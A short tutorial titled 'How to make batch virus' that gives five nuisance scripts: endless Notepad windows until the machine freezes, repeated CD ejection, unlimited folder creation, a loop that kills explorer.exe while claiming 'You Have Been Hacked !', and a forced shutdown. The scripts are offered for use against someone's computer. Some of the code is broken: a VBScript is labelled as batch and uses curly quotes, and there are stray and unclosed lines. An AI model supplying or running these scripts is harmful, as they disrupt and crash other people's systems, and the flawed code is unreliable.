How to make batch virus

First you need a text editor (notepad.exe)

Type the code and save with (.bat) extension

1. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

2. Eject CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

3. Folder Multiplication

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

4. Kill explorer.exe Repeatedly

Repeats 'killing windows explorer and starting again' 

:loop
TASKKILL /F /IM explorer.exe
timeout 5
start explorer.exe
msg * "You Have Been Hacked !"
timeout 2
goto loop

5. Shutdown computer 

This will shut down your pc in 1minute.

@echo off
shutdown -s -f -t 60 -c "~REMOTE SHUTDOWN"
msg * "FORCED SHUTDOWN